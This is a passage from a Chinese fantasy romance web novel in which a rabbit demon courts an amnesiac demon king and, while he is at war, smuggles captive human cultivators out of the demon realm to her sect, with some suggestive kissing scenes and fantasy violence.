寝殿内并不算昏暗,少女单薄的肩在颤,发丝被拱得蓬乱,胸.脯急促呼吸着,露出的肌肤没有一处不是绯红的,是热出来的,也是他亲出来的。 真可怜,真挪不开眼。 只是这样她就受不了了,娇气得不像妖,因为没有妖会像她这样还讲究认识久不久的。 然则,裴息尘没有质疑,他认为,要当他王后的玉扶要与他培养感情,是再合适不过的提议。 他甚至感到丝丝的喜悦,就好像在玉扶眼里,他只是个寻常的男子,他们可以相处,可以相爱,他可以住到她的心里去。 那畅想,美好得比之身体的肉.欲还要迷人。 他轻易松开了玉扶的腰,不强迫,不侵略,压迫的眉眼都一刹舒展,在光亮中一下子变得华美鲜妍。 看起来真是个平静有礼貌的妖王。 他起身,让出身畔的位置,笑着看了一眼玉扶:“阿扶,你说得对,是该认识久一点。” * 当日里,很快有妖王要聘王后的消息从妖王宫传出内城,再到外城,大肆招揽有一技之长的妖,制婚服,修宫殿,备婚礼…… 同时,妖王还将在五日后再次出征,他要取来狐族的尾,狼族的牙,还有鹰族最珍贵的一尾羽来为聘。 这无异于是在说他要一统妖域,用胜利来装点他的婚礼。 玉扶默默地为三大妖族点了个蜡,听说,现在三大妖族其实已经不能称之为三大妖族了,他们已经被裴息尘打得得抱团,才能称作一股势力。 玉扶十几次的观察并没有白观察,她合理怀疑,这次完全是裴息尘太过兴奋了,需要这场战役泻火。 不然的话,哪里就犯得着这么急切? 不过,玉扶并不管这些,在她看来,这都是迟早的事。 真正令她烦恼的是,半妖的怀柔政策。 他没有碰她,但总爱看着她,亦或是抱着她睡,然后硬硬地指着她,一脸淡定地道:“不用管,总这样。” 玉扶被他的淫心撩得都想干脆睡他了,可是,他太认真了,认真到每一时每一刻都在与她好好相处。 就好像将时间的空隙填满,就会显得认识得久了一点又久一点。 第一日,她走遍了许多妖王宫的宫室,没有找到其他的妖侍,确认了半妖还真就抢过她一个,甚至还发现,半妖真的恶名很显,他的住处,周围一圈连个活物都没有,毫不怀疑,若是野草能长腿,怕是也要自个挪走。 第二日,她当着半妖的面做主,将小鸟妖们的脚镣全部解了,略微寻回了在山上当兔大王的感觉,半妖没说什么,只用一个眼神吓得小鸟妖们花容失色,但不久,小鸟妖们就自由飞在了妖王范围外的宫殿群之间。 半妖若有所思地撩起她的发亲,道:“阿扶,原来你喜欢当大王。” 第三日,蛛娘来自荐了,为她和半妖量体裁衣,蛛娘显然有很多话想说,量身的过程,不断用“你真行”的目光看她,玉扶鼻子都快骄傲得耸到天上了,她就说,半妖对她是不一样的,就算失忆了,晋江也还会硬,可怕的很。 半妖察觉了她与蛛娘的熟稔,有些嫉妒,问她:“你到底有多少好友?” 玉扶又漏勺了,道:“有一个山头加一个宗门那样多!” 半妖气得妖纹发生了变化,玉扶偷笑了许久。 第四日,玉扶已经不再满足入眼所见的空荡荡和乌沉沉的色调,她自己动手翻了大半个宫室的土,小鸟妖飞着撒下了许多花种。 半妖心累问她:“你不累吗?” 玉扶摇头:“我想和你住的地方开满花。” 半妖开始帮她一起翻土。 第五日,玉扶第一次见到了庞大妖群的点兵,他们身上的战意几乎要点燃一切,而她所见的半妖也有些不同,强大纵意的气魄,周身都泛着与别的妖区别开的气场,所有妖都在仰望他。 她的妖血也被点燃了似的,涌动着慕强的颤栗,她好像懂得了妖域有一个强大妖王的意义了,他所在,便是妖族所向往之处。 玉扶的心脏狂跳,她发现,不管半妖怎么变,都会有让她心动的气质。 嗯,她的心可耻地心动又心动。 翌日。 半妖垂眼将妖属送来的肩甲等物嫌弃地扔到一旁,似乎在他看来,没有什么是能比得上他本身妖躯更强大可靠的防具。 傲得玉扶都觉得牙根痒痒。 但与他挑剔成鲜明对比的是他的审美,好华丽,玄袍束腰,浓密微卷的黑发用金冠束起,野性又优雅十足地显着他的轩昂与杀性。 他的眼神望向玉扶,就像是在说,料理完还蹦跶的妖族,就再没有任何事可以打扰他与她培养感情。 他会彻底与她相伴。 她跑不掉的。 玉扶被他满是侵占的眼神看得心口发热,她才没想跑,她好不容易才走到他身边呢。 她垂下头,又一眼一眼地望,每一次都能看到半妖在看她。 半妖走近了,张开臂,眉眼很招摇地挑:“阿扶,你不给你的夫君一个送别吗?” 他就已经以夫君自居了! 他脸皮好厚啊! 玉扶既想矜持,又甜蜜得得心曳神摇,最后,她于他的视线中,勾下他的颈,吻在了诱人的颌下妖纹上。 突然的吻。 唇瓣下的喉颈肌骨猛然跳动。 下一瞬,玉扶腰肢被上提,后脑被掌住,凶狠灵活的舌强势挤入。 半妖再装不下去了。 他的热情与恶欲,直如泄洪的水,用力地卷着少女的舌,汲取着她的香甜,才开始亲,就近乎侵犯,玉扶急急喘起来,口中呜呜地发不出完整音节。 甚至连呜呜声都被一并吞没,她感觉她的喉都要被抵到了—— 第80章 玉扶整个人都是晕眩的。 她被搅缠了个彻底, 再忍不住地用力向外推抵。 但这反应对半妖来说无异火上浇油,她的舌尖被卷走,被剐蹭舔磨地吮了一下又一下。 泪水刺激得从眼角淌下, 整个唇都张得发酸。 玉扶快溺死在这个吻里了。 她不得不努力迎上这个吻,他要什么便给他什么, 然而半妖似乎怎么也不满足, 她快要被吞掉了, 手掌无力地往下滑落, 又一次一次被重新勾向上。 终于, 半妖吃够,收回舌尖,贪婪地吻啄去玉扶唇畔的银丝, 缱绻出几缕安抚的温柔。 玉扶失神地昂头, 缺氧到脑子都麻木了,她甚至不能控制自己合上唇瓣,咽下口津。 远处一次次传来妖兵的号角,但无妖敢催促他们的妖王, 玉扶发誓, 她真的只是想送别地亲他一下而已。 是他太不正常。 他一直都不正常, 几日相处里,忍耐都是装的,什么“不用管, 总这样”,一定是故意让她知道的。 她单纯地送上了自己。 他不客气地品尝。 果然, 她听见半妖问:“阿扶,我们现在算不算认识得久一些了?” 玉扶想哭了,亲都亲完了, 才问,她除了点头还能说什么,埋怨地掀了一眼,脑子都还缺氧地晕乎。 与她的晕乎相反,半妖显然高兴极了,面上的邪气与阴翳都被笑意冲淡,绽出绮丽的华美。 玉扶有些看呆了,她发现,眼前的半妖,再如何失去记忆,妖孽就是妖孽,不管是精明还是诱惑,她就是很容易栽啊。 她听见他吟笑地喊她“我的王后”。 玉扶简直被迷得晕头转向,都不记得怎么送走的他了。 只能远远见得半妖的兽车前后,乌压压,一群群气势高涨的妖兵。 队伍张扬得犹如他的本相—— 一条华丽又邪恶的大蛇。 很快,她会成为这恶蛇的王后。 玉扶想得自己打了个寒颤,她有点怕了,但不是怕半妖,而是怕她自己,她会忍不住更包容他,在他的陷阱里爬不出来的。 甚至,才分开这样一会,她就已经有点回味方才那个凶狠激烈的吻了。 啊,好可怕啊。 * 妖王不在。 妖王宫真就成了玉扶这个兔大王的。 小鸟妖们陪她种花,蛛娘也更无所顾忌地来给她寻她。 这次入妖王宫,蛛娘显然更放松了不少:“你那大妖是想起你了?” “没有啊。”玉扶从花草中抬起头,眸光亮晶晶的,一点也不担心的模样。 蛛娘在一旁站不住了,提着裙蹲到了玉扶的身旁:“那他怎就要让你当王后了?” “你就不怕他是拿立王后为借口,鼓动妖族气势收服妖域?” “不然怎就这时候又离开妖王城?” 玉扶还真认真想了想:“我应该没有那么大的作用。” 妖族能被鼓动气势完全就是半妖自个的魄力,况且,不是都说那三大妖族现在都要抱团才能成气候了嘛。 她估计,是半妖血气太旺,需要散散火才着急地去揍妖呢。 如果后头这个的话,那她还真有那么一点影响。 他太喜欢她了,天天都淫心很重。 玉扶嘿嘿笑了一笑,问蛛娘:“你为什么这么关心我,你不对劲。” 蛛娘白了她一眼:“我当然关心你,你要是当成了王后,我的小店还等着你庇护。” 妖王城换了新妖王,固然她的客栈还开着,但还是发生了变化,生意不好了,寻衅的也多。 只期盼着妖域能彻底稳下来,只剩下一个妖王为主的势力,日子想来也会比以往安定不少。 她真的厌倦妖与妖之间,妖城与妖城之间总没个安生,尤其想念前任妖王治下的时候。 眼下的这个妖王虽更不正常了,可看一看玉扶,就觉得还有些救。 玉扶以前不太喜欢蛛娘,可相处下来,觉得蛛娘还是很不错的,更重要的是,她对自己很自信的,当即保证:“那是自然。” “你的店就是我的店,以后我罩着。” 蛛娘唇角抽了抽:“前半句就算了吧。” 玉扶绽笑,并不接茬。 坏兔子,无怪和妖王能一对。 蛛娘没好气地从花田里走开,离开前,抛给玉扶一不过半指长的信轴:“我是看在你能当王后的份上,才冒着风险帮你收来的。” 玉扶一看信轴的样式,就知道是合欢宗的。 算下来她已经在妖域又呆了三个多月的时日,从安顿下来,她就一直想着给师姐们传信,至少让师姐们不用担心她。 毕竟经过她的观察,如果人修入了妖域还是很危险的,不只是半妖在抓人修,那些一次次败在半妖手中的其他妖族们才是抓捕人修的主力,甚至常有虐杀。 似乎是认定了败局,便想干脆地掀起人修与妖族的矛盾。 若是人修也能大肆侵入妖域,那不愁没有喘息重来的机会。 到时,所有的矛头指向的自然是新任妖王。 玉扶起初是不想师姐们为了寻自己,入妖域涉险。 后来是有点担忧人族与妖族起大冲突。 便一直请求蛛娘帮忙。 蛛娘果然有门路,不过往来的消息极慢,如今到她手里的算是第二次。 第一次的时候,师姐们将她骂了一顿。 这一次,玉扶深吸了口气才打开,上头果然说妖族与人族越发剑拔弩张,四境不少修士的宝贝弟子在妖域一去不返,有的魂灯都灭了。 有宗门与大族修士提议,趁如今妖域新任妖王还没有彻底成气候,一同攻入妖域,挫一挫妖族的锐气。 虽还在商议,但师姐提前得知了消息,便想让玉扶离开妖域,为此,还给她指明了一个接应处。 玉扶生气地收起信轴,更用力地挖土,她的心偏了,她总觉得为恶的不是她的半妖。 是狐族了、狼族了、还有鹰族等等。 她的半妖可是佛修出身欸,就是失忆了,还记得对她好,还会反思弄痛她,还能装装地耐着性子与她相处久一点。 怎么想都是别的妖为恶的多一些! 又一下,玉扶用大了力,撬出的土掀了自己满脸。 她呸呸呸地抹脸起身。 不远处的小鸟妖们细心地上前扶她,帮她擦拭。 玉扶走出花田,问小鸟妖们:“妖王抓的人修们都在哪里?你们知道吗?” 小鸟妖们面面相觑,不知玉扶问这些做什么,但玉扶的出现,无疑改善了她们处境,她们乐意侍奉她,即便对不太知晓的事,也乐意告知。 其中雀鸟最先开口道:“主君自掌了妖王城,便有设立妖狱,我等早前皆被关在妖狱中,每隔着些时日,便会见到有新关入的大妖,但并未见过有人修关入,想是被关在其他处。” 很好,至少排除了一个地方。 玉扶点点头,又看向其他小鸟妖。 鸟妖们近来可谓是重操旧业,偌大的妖王城焕然一新,一些废弃了用途的宫殿也重新运转。 有了雀鸟的开头,又有青鸟告诉玉扶,曾在妖王惯常“闭关”的所在见过人修。 这点得到一众鸟妖的点头和补充,甚至暗示玉扶,那些人修可能都死在了妖王的手中的,因为被抓来的人修似乎总是只进不出。 玉扶有些生气地不让她们说了,真是越猜越离谱,吃人都说出来了! 幸亏半妖如今不在妖王宫中,不然她可保不了她们。 而且,他只是性格恶劣一点,哪里就到吃人的地步!她们根本不懂什么是半妖! 玉扶打发了小鸟妖们,决定再去一次半妖闭关的宫室。 她是知道在哪的,她还在外头偷听过。 那是一处较高的建筑,光是阶梯就有上百级,底下皆是大块黑石垒成,当时只顾着往光亮处寻半妖,如今想来,确实挺特殊的。 没有妖会阻拦玉扶往哪处去,那五日与大妖的相处中,她俨然成了众妖眼中的偶像,妖王不在,她就是大王。 当然,前提是半妖能一直是妖王,不然的话,这些留守在妖王城中的妖众,怕是立马就要造她的反。 她叹息一声,感叹当大王还真是不容易。 这时,便已到了那处宫室,推门而入,浓郁的药香,还有好大的浴池。 真会享受! 玉扶不客气地哼了哼,四处乱逛乱看,偶尔还捡起一些药包闻了闻,闻得她只觉胸间郁气一扫而空,神识异常清明精神。 她捏着药包默了默,她思考,半妖常用这些东西泡澡缓解郁燥,但睡不着还总“烦”,算不算副作用? 也不知道是谁给他配的药,总感觉有些可恶。 许是因进入到了宫室内部的原因,当玉扶放出神识去放大可捕捉的声响时,有些之前不曾察觉的动静就若隐若现了起来。 竟然有铎铃声! 她叉腰看向地下,神情得意,根本没有能逃过耳朵的动静! 玉扶才懒得去寻什么机关,她最擅的就是遁地,当即撬了几块石砖,往地下挖。 非常容易挖开,底下完全就是空的。 还不曾往下落,玉扶就看清了下头,原来她在外头看到的黑石,内部竟还有一座废宫殿,殿内打斗痕迹非常明显,看着还是经常有人来的样子,只是不知道入口在哪。 玉扶没多想,直接跃了下去,身体透过结界,落到内部地面。 她闻到了好多的气味,有妖的、人的,还有与在上头闻到的差不多的药味,但更鲜润偏原材一些,余下的就更多了,像是很多不同种类的炼材药材曾在此堆放过。 她往铎铃声更清晰的内部走,地上的痕迹触目惊心,有干了的血迹,还有很多剥落的碎鳞,光泽已不再,可是玉扶辨的出,这是半妖的。 她心脏像是被人揪住了,酸酸涩涩地难受。 终于,她看到了铎铃声出自哪里,一座被锁住的半人高的塔,翘檐上挂着小巧的铎铃,不时随着塔的动静响一下。 靠近了,神识专注地凝听,霎时,许许多多的人声传来。 吵得很。 玉扶捂耳,改成凑近了用眼往里看。 真的好多人啊! 每一层塔内都有许多的小人,各有忙活,还有在叫骂,合力起来攻击塔身的,强光闪了玉扶一下,塔身也摇动,然后铎铃就发出了响。 她还听到了喊她的,中气十足的男声:“怎今日换了个妖物来看塔了,还长得怪有人样。” “要的东西呢,赶紧扔进来。” “赶紧的啊,你们妖王是不想补齐传送阵了?一点炼材而已,拖拖拉拉的!” 男声的话音还没落,就有年轻些的女声呛声:“你个炼器的急什么,要先也是该给我带来《归一仪轨》的残章。” “小妖,可不要怪我没提醒,没有这残章,我可研不出补全传送阵的思路。” …… 很多的声音,吓得玉扶退了好几步,然后这些问她要东西的修士又和另一波想着出来的修士互相挤兑了起来,什么器疯子、药罐子成精、你有本事你倒是打出去啊…… 当然还有不参与这些挤兑叫骂的,玉扶看到了脑袋光光的熟面孔,息尘的师侄们,她记得年少一些的是行知和行远,块头大一些的是行岳。 他们皆在慢吞吞地磨药,配药,动作娴熟,流程精简,配合得那叫一个行云流水。 隔着塔身闻不太清药味,但是那药材,瞧着和半妖用的好像也差不离。 啊!原来让半妖天天保持着冷静地“烦”的元凶在这! 她不知觉间,又靠近了塔身,与师侄们对上了眼。 兔妖?! 行知动作顿了顿,似乎想到了什么地向外问:“你是师叔的阿扶小兔吗?”《 》 80-88 第81章 也就试探一问。 行知没抱多大希望。 但玉扶点头了, 还小心凑近了塔身:“是我,你们怎么都困在这了?” 其实不用想,也知道一定是半妖做的, 可是半妖这不是不在嘛,那当然要从被害者这里问消息。 况且, 她见他们虽然是被困着, 但日子过得好像还不错的样子, 都把半妖当许愿池里的乌龟了, 怎么什么都敢向半妖讨啊! 玉扶被自己的乌龟想法逗笑, 得意起来,她就知道,半妖才没有丧心病狂到吃人的地步, 人又不好吃。 她笑起来又甜又无害, 骂她的声音都少了好多。 行知也没想竟真的猜对了,与她确认:“你当真是师叔的阿扶小兔?” “我说了,是我啊。”玉扶重复,干脆变成了中等体型的兔子, 与塔身平视。 众人也意识到什么, 似乎是来了个可以沟通还不是妖王那边的妖? 塔内众人又静了不少, 等着玉扶与佛修交流。 行知:“阿扶小兔你知道师叔被夺舍了吗?” 玉扶没有直接回答,反对行知的称呼提出异议:“我现在不是阿扶小兔了,我变强了, 你可以叫我兔大王。” 行知:“” “兔大王。” 玉扶笑开了,兔唇弯成了有点邪恶的弧度:“妖王现在不在妖王城, 我特意来寻你们的。” “是来放我们的吗?兔大王!” 有修士大抵是真被关坏了,急切地插入了玉扶与行知的对话。 玉扶被一声大王叫得更开心了,摇了摇被锁链抬在半空的宝塔:“我是来了解情况的。” “你们怎么会被关在这里头呀。” “我师姐说, 你们宗门都以为你们出了意外。” 说着,玉扶掏出了合欢宗的信轴在塔外,他们能看见的地方晃了晃。 “原来是合欢宗的道友,这真是说来话长。” 一理智修士打开了话头,玉扶一下子就成了自己人的道友,原来如今塔内的修士成分真的很复杂,有很早之前新妖王没出现就在妖域历练的,有听到妖域内乱,跑来趁机收集炼材的,还有如行知等人这般来打探消息的…… 但无一例外,会出现在这儿的,不是一开始落到妖王手中,就是之后落到的妖王手中。 对比下,直接落到了妖王的手中竟可以算得上幸运,至少,妖王除了无差别地要他们修复一个毁坏的传送阵,既没虐杀,也不压榨。 这后头被从不同妖族地盘抢来的修士,就心酸许多了,如会炼丹的天衡宗修士没日没夜地被狐族逼着炼爆发丹,会阵法符篆也如是差不多的压榨,当然可以拒绝,但拒绝的后果,就是金丹被掏,修为被吞。 修行不易,能活着自然是先活着的好。 后来几大妖族节节败退,大家就都落到了妖王的手中。 至于这塔的来历,就要提到佛宗。 佛子被夺舍,搅得妖域发生混乱,不管是出于责任,还是出于对弟子的维护,佛宗都该将佛子的身躯带回。 只是不曾想,这本该关下妖王的佛塔不顶用啊,不但没困住妖王,反落到妖王手中还被扣下了几个没来得及跑的小弟子。 也既是行知行远行岳三人,三人皆是主动请求跟同来的妖域,尤其是行知和行远,没少自责,师叔许是因救他们落入了狐妖的陷阱。 玉扶茸茸的兔脑袋不住地点,觉得师侄们还是很孝顺的。 她安慰了几句,绕了个方向,去看那传送阵的残骸,碎得不能再碎,勉强能看得出些原样来,应就是连接凡域的那个。 “这真的不能复原吗?说不定复原出来,妖王就放了你们呢?” “毕竟他也没伤害你们不是吗?” 玉扶暗搓搓地又藏了私心,几句话里有一半都是在为半妖开脱,剩下一半,也想着既然半妖对传送阵这样执着,或许可以靠这恢复记忆呢。 人修们并不是傻子,也没单纯到随便来一个和修界宗门有关的妖,就什么都信任了,不过是看出玉扶与之前来过的妖都有些不同,才略存了些希望,听到她提出的假设,都要怀疑是妖王换了逼他们复原传送阵的手段了。 但稍想,又觉应不是,此传送阵的不同,他们当中懂行的都已与那妖王解释过不知多少次,也全凭依着对法阵的钻研,才从妖王手中诓到不少孤本残章。 故而,最先问玉扶要残章的女修还是不厌其烦地与玉扶解释:“此阵非是寻常的传送法阵,可传送距离尤其远,恐不止是跨过了域界,中间也不知还经行了何处,又到达何处,光凭留存的阵纹,实在无法推理。” “而且,我观研出此阵者,着实别出心裁,像是自成一派,个别阵点还有些阴邪……设此阵者定然研过不少大阵师孤本……” 玉扶听了一会就有些飘忽,听不懂,总之就是很难复原,需要看很很多相关书籍,然后越珍稀越好。 玉扶感觉她也好像变成许愿池的乌龟了。 她的脑子根本转不过狡猾的人修! 玉扶还是决定找师侄们说话:“你们不是认为他被夺舍了吗?为何还要为他配药?” 行知伤心得快碎了,说话都带上了哽咽:“阿扶兔大王,你也觉得师叔再回不来了吗?” 塔中关着的人修实在多,看法也不一,但顷刻,玉扶懂了师侄们的意思,他们并不相信佛子是被夺舍了。 这种相通的想法,或许只有对佛子抱有希望的人才懂,也难怪她闻到的药味都是让人神识清明精神的,用在半妖身上虽然可恶了一点,但也不是没作用的吧,至少很有冷静作用呢。 玉扶决定了,她脑子转不过人修,就不转了,摊牌了:“我可以想办法帮你们离开妖域。” “我没有骗你们,我虽然是妖,但我确实是有宗门的,我师姐给我传的信中,有提到一个接应点,我可以将你们送去。” 这下,就连激进的人修都没有骂玉扶了。 “你有什么条件?” “你当真可以送我们离开妖域?” “你能将我等从塔中放出?” …… 数名修士几乎是抢着问。 不过,想着立马从塔中出来的修士也太坏了,她是不够比人修狡猾,可又不是没心眼,先不说她能不能做到打开宝塔,真要在这里就放了这些人修,她怕是要先成了出气对象,继而惊动整个妖王宫甚至妖王城的妖,不打起来才怪。 她可不想面对这种局面。 玉扶不过一会儿没说话,激动的修士们渐渐冷静了,能让人唤自己“兔大王”的兔妖,怎么看都不太靠谱的样子,甚而怀疑她是怎么寻到这废殿来的? “罢了,兔妖,你若真想帮我们,倒不如替我等向外传些求助信。” 玉扶被看扁了。 她气哼哼地召出无相石,心念下,无相石变为极为锋锐的石刃,将锁着塔身的三根锁链皆砍断。 她早观察过了,宝塔确实流光溢彩,铎铃阵阵,确实是难得的法器,但锁着的锁链,挺普通的,似乎只是为了抬高一点宝塔的高度,方便威吓一点。 锁链甫一被砍断,半悬着的宝塔跌落地上,塔身无损。 玉扶的前爪踩上:“我说了可以送你们出去,我就能做到。” 她完全可以将整个塔搬走,送到师姐们的手里,到时怎么打开塔还有放不放,全看师姐们怎么同他们的宗门交涉。 但现在,他们要先与自己交涉。 “锁链已经断了,你们也不想被发现吧。” “妖王现下不在妖王城,其他的妖若是发现你们想逃,可不会手下留情。” 玉扶滚了滚塔身,将里头的修士小人全部滚得天旋地转。 这时候,她白茸茸一团的兔脸上是真的有几分邪恶了。 行知等人即便与玉扶有交情,也完全没料到她会突然发难,慌张大喊:“阿扶兔大王,我信你!” 不耐晕的修士也跟声喊:“兔大王,别转了,我信,我也信!” 虽然骂爹骂妖的也有了,不过玉扶只听自己爱听的,她停了下来,前爪却还拍在塔身:“我问,你们就答。” “妖域的妖可有故意举妖兵侵略到你们人族的地界?” 要上升到两域的大战,那自是没有的。 平日里的一些历练亦或是契约上的相互渗透,也实属寻常。 众人被问沉默了,也更琢磨不透这兔妖是什么目的了,若为妖族,就不该说放他们,若为他们,便不该为难他们。 当下听得玉扶继续问:“那抓捕人修还欺辱压榨人修是新妖王吗?” 这不太好界定。 确实抓了也逼迫了,只是有了对比,似乎、好像还真不是特别十恶不赦? 玉扶:“妖族内斗,人修为了自己的目的闯入出了事,全是妖的错吗?” 唔这兔妖果然还是站妖的那一端! “你们妖族夺舍了我们西境的佛子!”一西境修士忍不住反驳:“我等难道不该为佛子讨个公道!” 玉扶生气地又滚了滚宝塔,这个人修好无耻,分明就是冠兔堂什么,胡乱拿佛子当借口! “胡说,才不是妖夺舍!是邪修夺舍!” “说了你们也不懂!” “我就问,妖王将你们当中很多人修从其他妖族手中夺来,算不算救了你们?” “简直强辩!”一瘦削男修高声:“我等难道还要感谢他将我等关在此处?” 玉扶:“那是你们没用,他不是答应你们修好传送阵,就放你们吗?” 众人:“” 玉扶软了点声:“我看出来你们修不好传送阵了,我是妖嘛,但我师姐们又是人修,我是很不愿意见到人修与妖关系一再差下去的。” “我是真的想救你们出去的。” “只要你们愿意以道心起誓,出去后不夸大妖王对你们的伤害,不故意挑起两域界争端,我现在就可以送你们离开妖域。” 人修:“兔妖,你这样维护妖王,你难道还能做他的主不成?” “即便你能送我们出去,你便不怕他对付你?” “我是兔大王,我才不会有事。”玉扶哼了哼:“你们就说起不起誓吧!” 道心誓对任何还想进步的修士而言,都是尤为重要的,若有违背,日后心境定然有损。 玉扶也不是非要做什么,可是既然已经知晓了修界大宗与大族对妖域的敌意,还正好寻到了影响两域关系恶化的关键人修们,她就不能当作什么都不知道。 她毕竟是妖,还是与人修宗门关系匪浅的妖,两方关系若是恶劣到极致的话,即便她可以暂时脱离这些,她也一定会失去一些的自由,师姐会不放心她下山,而若留在妖域,她也必然见得半妖率领妖众与人修争斗。 而且还是在半妖没有恢复记忆的情况下。 玉扶不敢想,若是有一日半妖恢复了记忆,想起战役中死在他手中的无数人修与妖,属于息尘的那份意识会有多痛苦,是不是那些死去的人修当中还会有如行知行远这样的熟人呢? 阿裴的那份意识倒是一点也不用担心,没羞耻的阿裴大抵会更与她计较一些旁的。 玉扶怎么想,都是更喜欢和平一些,也不需要绝对的和平了,就如最初下山时候那样便好。 玉扶兜了一个大弯的目的在人修们的面前,突然就清晰了起来,也不是人人都向往东风彻底压倒西风,亦或是西风彻底压倒东风的。 要做到彻底某一方的胜出,太难太难,千万年来,但凡有能做到的,也不会还有四境与妖域的同存了。 几个年轻佛修率先起誓,继而三三两两的,对玉扶喊话,最好真的能送他们出去,也相继起了道心誓言。 不久,个别倔的,玉扶也懒得管了。 她笑开了地化形,将地上的宝塔扶起,还用袖子宝贝地擦了擦。 早就怀疑底下也有出入口,经人修指了一个方向,玉扶也就不费劲向上爬了,先从废殿出去,摸到黑石壁,推了出去。 许是因妖王不在,或者是大都妖跟着妖王出去了,总之,玉扶出去的时候,没有碰到妖。 行知告诉玉扶,妖王每隔一段时日,会来催一次进展,然后不爽地扔下些不知道从哪里抢来的各种还残留着血的书籍阵石之类。 偶尔,还会抓出几个人修拷问。 塔中的人修最怕遇到他郁躁的时候,因妖王郁燥的时候,就尤急切进展和成果,后来,妖王就又给塔中人修添了一个任务,炼丹药,要能缓解神魂损伤的。 众人虽被关着,那也不想见妖王好,故而,最后给出的都是些缓解郁燥的药。 玉扶往外走的步子顿了顿,几个师侄这么多话,像是故意告诉她似的。 玉扶记了记,半妖的神魂还伤着。 又走一会就开始遇到妖了,小鸟妖们各处都不见了她,着急地在妖王宫中寻。 只见她们想寻的兔妖,后头跟着只体型庞大的石兔子,石兔子奇怪的很,背上还焊着个大石锥? 那是无相石背在背上的宝塔,不过覆上了一层石头,将所有能看到里头人修小人的窗口都封上了。 “大王要去哪?” 小鸟妖落下,视线颇为好奇地张望玉扶身后。 玉扶抬了抬下巴,继续往妖王宫宫门的方向走:“我要出去一趟。” 小鸟妖们没有犹豫,追上:“可要给大王准备兽车?” 玉扶看了眼自己的石兔子,宝塔据说是佛宗的至宝“芥纳须弥塔”,行知行远等人还没到能驱动的境界,而能驱动的寂照师叔都被打跑了,如今的塔,玉扶从锁链上解下时有多大,那就只能还维持着多大。 完全做不到变得更小一点藏起来,而妖王城也并不小,光是行到外城就颇有些距离。 她偏过脸,不管塔内的人修们此刻有多屏气,对小鸟妖点头:“备一辆。” 小鸟妖飞远,不久,有兽车拉来,无相石所化石兔子略缩小,背着个“石锥”挤在玉扶身旁。 兽车驶出妖王宫,又离了内城。 塔内又有声音传来:“兔大王原来你真的是大王啊!” 玉扶哼哼:“我就说了我是啊。” 拉车妖兽听到一些不同寻常的声音扭头,对上视线又默默拉车,很快就是妖王王后的兔妖,大王就大王吧,也没错。 兽车一直拉到了千织客栈,玉扶与石兔子跳下车,蛛娘被她的突然来访吓了一跳。 玉扶:“我要离开妖域几日。” * 赤红夕阳硕大如轮,垂在天际,漾开一片红。 大批妖兵队伍没有号角,没有嘶吼,就连最靠近妖王队列的妖将们也死死压抑着喉间的咕噜声。 猎猎摇旗飘扬得如同染上了夕色的血。 没有战败,士气甚至可以说是无比的高涨,三大妖族最后占据的两座妖城,不过三日便拿下,期间,狐族脱离另两族,求到妖王面前投降,甚至出卖另两族。 然而,狐王狐尾被当众砍下,更点燃了妖众的妖性,他们需要的,跟随的,是一个强大不用阴诡的王。 一切都非常顺利,除去回程时妖王突然爆发的低气压。 他周身笼着一层如有实质的阴影,光线都在他身旁扭曲消失,漆黑眼瞳从昏暗中抬起,咬肌都在微微地抽动。 他们的王没有从战役中获得喜悦与冷静,反而更可怕了。 所有妖将都恐惹了他,无一例外地,紧紧闭着嘴,妖卒们也受氛围的感染,默默行路。 妖王城城门大开,欢声满道,蛛娘于这样的时候被带到了妖王的面前。 “兔妖说她会回来的。” 蛛娘颤着声转达着玉扶留下的话,心里却将玉扶骂死了,她实没见过比玉扶长得还乖,但胆子比天还大的兔妖。 分明算不上特别交好,却已被玉扶坑了一次又一次。 她几乎想,玉扶这次一定要完蛋了。 而她,会比玉扶还要完蛋的早。 妖王的盯视,身上泛出毛骨悚然的疙瘩。 蜘蛛的表皮并不是光滑的,这些疙瘩唯有她自己知晓,是她的棘刺,她在妖王的可怕气势下,竟快维持不住化形,显出蛛形了。 也是这时,可怕的压力倏然减轻,妖域日后唯一的主君,用暖不热的冰冷语调问她:“本君大婚的婚服可备好了?” 第82章 玉扶很难才寻到师姐信中说的接应点。 不但在妖王城外, 还在水下。 也是一道处理过的妖隙,玉扶没有多想,便先让背着宝塔的石兔子先过, 自己再过。 妖隙的另一头竟是合欢宗内,玉扶头都还晕乎着, 就先去看通过后的通道有没有合上。 看到合上的一瞬, 面上的神情都丧了几分。 有些妖隙就是这样的, 本来就小, 自动就会愈合, 被用特殊手段卡着,当这个特殊手段失效的时候,就会一下子合上。 宝塔中的人修们也察觉到已脱离了妖域, 当下就呼呼地谈论开了, 有要玉扶送宝塔去哪哪宗门家族的,也有说去西境,佛门的至宝,也只有佛门最熟悉打开。 玉扶一律不采纳, 倒是不远, 有合欢宗的弟子发现了玉扶, 欢笑喊:“阿扶,你回来了啊,我这就去通知师姐们。” 红裳等人来的很快, 玉扶又被来来回回地检查,合欢宗出去的兔子, 还真不是会委屈自己的,瞧着好得很,就是丧着脸, 一见面就问还有没有可以直接通到妖王城附近的渠道了。 红裳没吭声,要她解释带回来的一宝塔的麻烦。 是的,麻烦,她们合欢宗的宗旨就是只管自己快活,不管旁人死活,现在突然要管这么多不一定长得好看的人修死活,真的很麻烦。 玉扶理亏地垂头,她着急嘛,就怕拖来拖去的,各境大宗门大宗族们都准备好攻打妖域了。 况且两地传信那样慢,哪能等到先和师姐们通气。 红裳深深呼了一口气,先命小弟子将宝塔搬走,好好招待客人,然后就开始各种审问玉扶。 从听到玉扶洋洋得意地说要当王后,脸上的表情更是挂不住。 倔强的小兔,这下为了她的幸福,似乎不想阻止这场争端都不行了。 玉扶使劲地撒娇:“师姐,师姐,你对我最好了。” 红裳被她拱得没办法,摸着她的脑袋,罢了地想,若妖域与修界真到敌视的地步,阿扶作为妖,在修界也不会好过。 便掺和一手罢,顺带洗一洗合欢宗对外的印象。 她推开黏糊的玉扶:“行了,知道了,滚回你的兔子窝去。” 玉扶没滚,用可怜巴巴的眼提醒师姐,她想回妖域,想要方才合上的那种直达的妖隙。 红裳没有立即答应,当作看不懂地转身处理宗内事务。 合欢宗只收女弟子,从上到下都爱往外跑,她们的师傅啦,师祖啦,培养出红裳这一代弟子后,更是几十上百年地在外逍遥,偶尔传回的消息中,有被囚禁得不亦乐乎的,也有同时爱好几个翻车在逃跑的…… 总之,玉扶带回来的麻烦事,还是要落到她这个大师姐头上,当然,若是能联系得上的话,师傅师叔们也最好出些力。 红裳满脑子这些事,脚下生风似的,只给玉扶留下一阵清淡的香风。 